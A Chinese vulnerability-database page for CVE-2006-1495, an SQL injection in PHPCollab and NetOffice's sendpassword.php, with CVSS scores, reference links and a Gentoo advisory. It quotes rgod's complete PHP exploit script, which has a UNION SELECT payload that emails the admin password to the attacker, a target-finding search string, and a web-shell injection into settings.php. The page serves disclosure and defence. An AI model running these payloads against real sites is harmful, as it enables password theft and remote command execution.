CVE-2006-1495
CVSS7.5
发布时间 :2006-03-29 19:06:00
修订时间 :2011-03-07 21:33:12
NMCOEP    

[原文]SQL injection vulnerability in general/sendpassword.php in (1) PHPCollab 2.4 and 2.5.rc3, and (2) NetOffice 2.5.3-pl1 and 2.6.0b2 allows remote attackers to execute arbitrary SQL commands via the loginForm parameter in the "forgotten password" option.


[CNNVD]NetOffice Sendpassword.PHP SQL注入漏洞(CNNVD-200603-483)

        在(1) PHPCollab 2.4和2.5.rc3,和(2) NetOffice 2.5.3-pl1和2.6.0b2的general/sendpassword.php中存在SQL注入漏洞,远程攻击者可通过在"forgotten password"选项中的loginForm参数来执行任意SQL命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:netoffice:netoffice:2.5.3_pl1
cpe:/a:phpcollab:phpcollab:2.5.rc3
cpe:/a:phpcollab:phpcollab:2.4

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1495
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1495
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200603-483
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/25503
(UNKNOWN)  XF  netoffice-sendpassword-sql-injection(25503)
http://www.vupen.com/english/advisories/2006/1142
(UNKNOWN)  VUPEN  ADV-2006-1142
http://www.vupen.com/english/advisories/2006/1141
(UNKNOWN)  VUPEN  ADV-2006-1141
http://www.securityfocus.com/bid/17283
(UNKNOWN)  BID  17283
http://www.milw0rm.com/exploits/1617
(UNKNOWN)  MILW0RM  1617
http://security.gentoo.org/glsa/glsa-200812-20.xml
(UNKNOWN)  GENTOO  GLSA-200812-20
http://secunia.com/advisories/33258
(UNKNOWN)  SECUNIA  33258
http://secunia.com/advisories/19449
(VENDOR_ADVISORY)  SECUNIA  19449
http://downloads.securityfocus.com/vulnerabilities/exploits/PHPCollab_NetOffice_SQLINJ.php
(UNKNOWN)  MISC  http://downloads.securityfocus.com/vulnerabilities/exploits/PHPCollab_NetOffice_SQLINJ.php
http://xforce.iss.net/xforce/xfdb/25505
(UNKNOWN)  XF  phpcollab-sendpassword-sql-injection(25505)
http://xforce.iss.net/xforce/xfdb/25503
(UNKNOWN)  XF  netoffice-sendpassword-bypass-security(25503)
http://www.securityfocus.com/bid/17286
(UNKNOWN)  BID  17286
http://www.osvdb.org/24230
(UNKNOWN)  OSVDB  24230
http://www.osvdb.org/24226
(UNKNOWN)  OSVDB  24226
http://secunia.com/advisories/19452
(UNKNOWN)  SECUNIA  19452

- 漏洞信息

NetOffice Sendpassword.PHP SQL注入漏洞
高危 SQL注入
2006-03-29 00:00:00 2008-12-25 00:00:00
远程  
        在(1) PHPCollab 2.4和2.5.rc3,和(2) NetOffice 2.5.3-pl1和2.6.0b2的general/sendpassword.php中存在SQL注入漏洞,远程攻击者可通过在"forgotten password"选项中的loginForm参数来执行任意SQL命令。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本。

- 漏洞信息 (1617)

PHPCollab 2.x / NetOffice 2.x (sendpassword.php) SQL Injection Exploit (EDBID:1617)
php webapps
2006-03-28 Verified
0 rgod
N/A [点击下载]
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PHPCollab v2.x / NetOffice v2.x sendpassword.php SQL Injection \r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "-> works with magic_quotes_gpc = Off\r\n\r\n";
echo "a googledork: intitle:phpcollab|netoffice \"index of\" -www-apps -php-collab.org -ext:xml\r\n\r\n";
if ($argc<4) {
echo "Usage: php ".$argv[0]." host path email OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to NetOffice or PHPCollab\r\n";
echo "email:     your email\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /NetOffice/ youremail@somehost.com\n";
echo "php ".$argv[0]." localhost /PhpCollab/ youremail@somehost.com -p81\r\n";
echo "php ".$argv[0]." localhost / youremail@somehost.com -P1.1.1.1:80\r\n";
die;
}

/* explaination:

   tested & working against: PhpCollab v2.4
			     PhpCollab v2.5 rc3
	                     NetOffice v2.5.3-pl1
	                     NetOffice v2.6.0b2
   vulnerability;

   SQL injection in "forgotten password" feature:
   if magic_quotes_gpc=Off you can send yourself the admin (md5(), crypt() or
   plain text) password, poc:
   you can submit a "loginForm" POST value like this to general/sendpassword.php
   script :

  'UNION SELECT id,1,CONCAT('this is the real password (encrypted with md5(),
  crypt() or in plain text): ',password),password,name,title,'[your email here]'
  ,null,'','','','',null,1,'2006-03-27 20:48',0,'administration/admin.php','',''
  ,null FROM members mem WHERE id=1/*

  query becomes:
   SELECT mem.*, org.name, log.connected FROM members mem LEFT OUTER JOIN
   organizations org ON org.id = mem.organization LEFT OUTER JOIN logs log ON
   log.login = mem.login  WHERE mem.login = ''UNION SELECT id,1,CONCAT('this is
   the real password (encrypted with md5(),crypt() or in plain text): ',password
   ),password,name,title,'[your email]',null,'','','','',null,1,'2006-03-27 20:
   48',0,'administration/admin.php','','',null FROM members mem WHERE id=1/*'

  you will receive soon a mail like this:

  Username : this is the real password (encrypted with md5(),crypt() or in plain text): [password]
  password : [random generated password]

  ignore password field, password is not changed, 'cause the UPDATE query fails,
  but the real one is showed in Username mail field.

  once you are admin, you can inject arbitrary code in settings.php
  (you know, magic_quotes_gpc is off), poc:
  login, go to "Edit settings" feature, in FTP SERVER field type:

  '); system($_GET[cmd]); print ('

  in settings.php, near line 38, you have:

  ...
  define('FTPSERVER',''); system($_GET[cmd]); print ('');
  ...

  so you can launch commands, ex:

  http://[target]/[path]/general/login.php?cmd=ls%20-la
									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$your_email="";
$port=80;
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$your_email.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}

$sql ="'UNION SELECT id,1,CONCAT('this is the real password (encrypted with md5()";
$sql.=",crypt() or in plain text): ',password),password,name,title,'".$your_email;
$sql.="',null,'','','','',null,1,'2006-03-27 20:48',0,'administration/admin.php',";
$sql.="'','',null FROM members mem WHERE id=1/*";
$sql=urlencode($sql);
$data="loginForm=".$sql;
$packet ="POST ".$p."general/sendpassword.php?action=send HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
#debug
echo quick_dump($packet);
sendpacketii($packet);
echo "Now check your mailbox...";
?>

# milw0rm.com [2006-03-28]
		

- 漏洞信息 (F73337)

Gentoo Linux Security Advisory 200812-20 (PacketStormID:F73337)
2008-12-30 00:00:00
Gentoo  security.gentoo.org
advisory,remote,shell,php,vulnerability
linux,gentoo
CVE-2006-1495,CVE-2008-4303,CVE-2008-4304,CVE-2008-4305
[点击下载]

Gentoo Linux Security Advisory GLSA 200812-20 - Multiple vulnerabilities have been discovered in phpCollab allowing for remote injection of shell commands, PHP code and SQL statements. Versions less than or equal to 2.5_rc3 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200812-20
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                              http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

    Severity: High
       Title: phpCollab: Multiple vulnerabilities
        Date: December 21, 2008
        Bugs: #235052
          ID: 200812-20

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Multiple vulnerabilities have been discovered in phpCollab allowing for
remote injection of shell commands, PHP code and SQL statements.

Background
==========

phpCollab is a web-enabled groupware and project management software
written in PHP. It uses SQL-based database backends.

Affected packages
=================

      -------------------------------------------------------------------
       Package             /  Vulnerable  /                   Unaffected
      -------------------------------------------------------------------
    1  www-apps/phpcollab     <= 2.5_rc3                     Vulnerable!
      -------------------------------------------------------------------
       NOTE: Certain packages are still vulnerable. Users should migrate
             to another package if one is available or wait for the
             existing packages to be marked stable by their
             architecture maintainers.

Description
===========

Multiple vulnerabilities have been found in phpCollab:

* rgod reported that data sent to general/sendpassword.php via the
    loginForm parameter is not properly sanitized before being used in an
    SQL statement (CVE-2006-1495).

* Christian Hoffmann of Gentoo Security discovered multiple
    vulnerabilites where input is insufficiently sanitized before being
    used in an SQL statement, for instance in general/login.php via the
    loginForm parameter. (CVE-2008-4303).

* Christian Hoffmann also found out that the variable
    $SSL_CLIENT_CERT in general/login.php is not properly sanitized
    before being used in a shell command. (CVE-2008-4304).

* User-supplied data to installation/setup.php is not checked before
    being written to include/settings.php which is executed later. This
    issue was reported by Christian Hoffmann as well (CVE-2008-4305).

Impact
======

These vulnerabilities enable remote attackers to execute arbitrary SQL
statements and PHP code. NOTE: Some of the SQL injection
vulnerabilities require the php.ini option "magic_quotes_gpc" to be
disabled. Furthermore, an attacker might be able to execute arbitrary
shell commands if "register_globals" is enabled, "magic_quotes_gpc" is
disabled, the PHP OpenSSL extension is not installed or loaded and the
file "installation/setup.php" has not been deleted after installation.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

phpCollab has been removed from the Portage tree. We recommend that
users unmerge phpCollab:

      # emerge --unmerge "www-apps/phpcollab"

References
==========

    [ 1 ] CVE-2006-1495
          http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1495
    [ 2 ] CVE-2008-4303
          http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4303
    [ 3 ] CVE-2008-4304
          http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4304
    [ 4 ] CVE-2008-4305
          http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4305

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

    http://security.gentoo.org/glsa/glsa-200812-20.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2008 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5



    

- 漏洞信息

24226
phpCollab sendpassword.php User Name Field SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

phpCollab contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the /general/sendpassword.php script not properly sanitizing user-supplied input to the 'loginForm' variable. This may allow an attacker to inject or manipulate SQL queries in the back-end database.

- 时间线

2006-03-28 Unknow
2006-03-28 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站